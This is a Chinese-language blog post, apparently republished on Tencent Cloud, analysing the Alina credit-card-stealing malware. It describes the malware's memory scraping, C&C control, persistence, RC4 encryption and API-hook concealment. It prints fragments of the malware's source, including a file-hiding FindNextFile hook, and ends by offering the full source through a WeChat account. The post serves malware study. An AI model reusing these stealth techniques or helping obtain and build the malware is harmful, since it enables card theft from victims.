Alina恶意软件系统分析与总结

qife122

发布于 2025-06-16 08:45:46

4220

文章被收录于专栏：网络安全技术点滴分享网络安全技术点滴分享

系统功能概述

Alina实现了一个复杂的恶意软件系统，主要用于窃取用户信息、远程控制受感染的计算机，并通过加密通信与C&C服务器进行交互。系统具有以下核心功能：

信息窃取：通过扫描进程内存，提取信用卡信息（如卡号、有效期等）并发送到远程服务器。
远程控制：支持从C&C服务器接收指令，执行文件下载、进程终止、系统重启等操作。
持久化：通过注册表自启动、创建服务等方式实现持久化，确保系统重启后仍能运行。
加密通信：使用RC4加密算法对通信数据进行加密，防止被检测和拦截。
进程隐藏：通过挂钩系统API（如NtQuerySystemInformation）隐藏恶意进程，避免被任务管理器等工具发现。
文件隐藏：通过挂钩文件系统API（如FindNextFile）隐藏恶意文件，避免被用户发现。
自动更新：支持从C&C服务器下载并执行更新文件，确保恶意软件功能持续有效。

系统架构

前端：PHP编写的Web管理界面，用于查看窃取的信息、管理C&C服务器配置等。
后端：C++编写的恶意软件核心模块，负责信息窃取、远程控制、加密通信等功能。
C&C服务器：PHP编写的服务器端，用于接收窃取的信息、下发指令等。

核心技术点

进程内存扫描：通过ReadProcessMemory读取其他进程的内存，提取信用卡信息。
API挂钩：通过挂钩系统API（如NtQuerySystemInformation、FindNextFile）实现进程和文件隐藏。
RC4加密：使用RC4算法对通信数据进行加密，确保数据传输的安全性。
持久化机制：通过注册表自启动、创建服务等方式实现持久化。
多线程：使用多线程技术实现并发任务处理，如进程扫描、通信等。

核心代码片段

1.进程内存扫描

void ProcScanner::scan(const unsigned char *buf, unsigned int size) {
    const unsigned char *p;
    std::string card;
    for (p = buf + 15; p < buf + size - 10; p++) {
        if (*p != '=' && *p != 'D') continue;
        // 提取信用卡信息
        ...
    }
}

2.API挂钩

BOOL WINAPI FindNextFileAHook(HANDLE hFindFile, LPWIN32_FIND_DATA lpFindFileData) {
    BOOL Result = FindNextFileANext(hFindFile, lpFindFileData);
    if (StrCaseCompare(HIDDEN_FILE_NAME, lpFindFileData->cFileName) == 0) {
        Result = FindNextFileANext(hFindFile, lpFindFileData);
    }
    return Result;
}

3.RC4加密

void RC4Crypt(unsigned char *Buffer, int BufferLen, char *Key, int KeyLen) {
    int i, x, y, a, b, j = 0, k = 0;
    unsigned char m[256];
    for (i = 0; i < 256; i++) m[i] = (unsigned char) i;
    for (i = 0; i < 256; i++) {
        a = m[i];
        j = (j + a + Key[k]) & 0xFF;
        m[i] = m[j];
        m[j] = (unsigned char) a;
        k = (k + 1) % KeyLen;
    }
    for (i = 0; i < BufferLen; i++) {
        x = (x + 1) & 0xFF;
        a = m[x];
        y = (y + a) & 0xFF;
        b = m[y];
        m[x] = (unsigned char) b;
        m[y] = (unsigned char) a;
        Buffer[i] = (unsigned char) (Buffer[i] ^ m[(unsigned char) (a + b)]);
    }
}

应用场景

信用卡信息窃取：通过扫描进程内存，提取信用卡信息并发送到C&C服务器。
远程控制：通过C&C服务器下发指令，执行文件下载、进程终止等操作。
持久化攻击：通过注册表自启动、创建服务等方式实现持久化，确保恶意软件长期运行。
隐蔽通信：使用加密通信技术，防止被检测和拦截。

系统总结

该恶意软件系统功能强大，具有高度的隐蔽性和持久性，能够窃取用户敏感信息并执行远程控制操作。其核心技术包括进程内存扫描、API挂钩、RC4加密等，适用于多种恶意攻击场景。系统通过多线程技术实现并发任务处理，确保高效运行。此外，系统还具备自动更新功能，能够从C&C服务器下载并执行更新文件，确保恶意软件功能持续有效。整体来看，该系统是一个高度复杂且危险的恶意软件，能够对用户隐私和系统安全构成严重威胁。需要源代码研究的同学可以在公众号回复“Alina”下载即可，下载的源代码可以用于编译后做二进制病毒分析跟源代码进行对比学习。但不可用于做坏事，否则后果自负。这些源代码也可以用作AI分析的元数据，喂给AI吃，等代码量足够多了，即可实现一个deepseek或者其他AI病毒分析智能体（Agent）。

本文参与腾讯云自媒体同步曝光计划，分享自微信公众号。

原始发表：2025-03-18，如有侵权请联系 cloudcommunity@tencent.com 删除

通信